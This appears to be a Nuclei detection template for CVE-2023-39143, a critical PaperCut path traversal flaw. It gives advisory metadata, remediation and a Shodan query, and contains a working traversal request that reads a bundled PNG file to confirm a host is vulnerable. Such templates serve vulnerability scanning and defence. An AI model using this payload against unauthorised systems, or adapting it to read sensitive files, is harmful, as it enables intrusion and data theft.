id: CVE-2023-39143 info: name: PaperCut < 22.1.3 - Path Traversal author: pdteam severity: critical description: PaperCut NG and PaperCut MF before 22.1.3 are vulnerable to path traversal which enables attackers to read, delete, and upload arbitrary files. remediation: | Upgrade PaperCut to version 22.1.3 or later to mitigate the vulnerability. reference: - https://nvd.nist.gov/vuln/detail/CVE-2023-39143 - https://www.horizon3.ai/cve-2023-39143-papercut-path-traversal-file-upload-rce-vulnerability/ - https://www.papercut.com/kb/Main/securitybulletinjuly2023/ - https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-131a classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2023-39143 cwe-id: CWE-22 epss-score: 0.89139 epss-percentile: 0.98378 cpe: cpe:2.3:a:papercut:papercut_mf:*:*:*:*:*:*:*:* metadata: verified: true max-request: 1 vendor: papercut product: papercut_mf shodan-query: html:"content="PaperCut"" tags: cve,cve2023,lfi,papercut http: - method: GET path: - "{{BaseURL}}/custom-report-example/..\\..\\..\\deployment\\sharp\\icons\\home-app.png" matchers: - type: dsl dsl: - content_length == 1655 - status_code == 200 - contains(to_lower(content_type), "image/png") - contains(hex_encode(body), "89504e470d0a1a0a") # PNG file signature in hex condition: and # digest: 4b0a00483046022100bcf7448996be5f941aa6214e1175adea0bd337855058df2edc4447f9ecdd0350022100a8a17a43abd5ed6fe6d5cc3ce3e3fbdb30ed65bb3810b276dc37b742d0d621c1:922c64590222798bb761d5b6d8e72950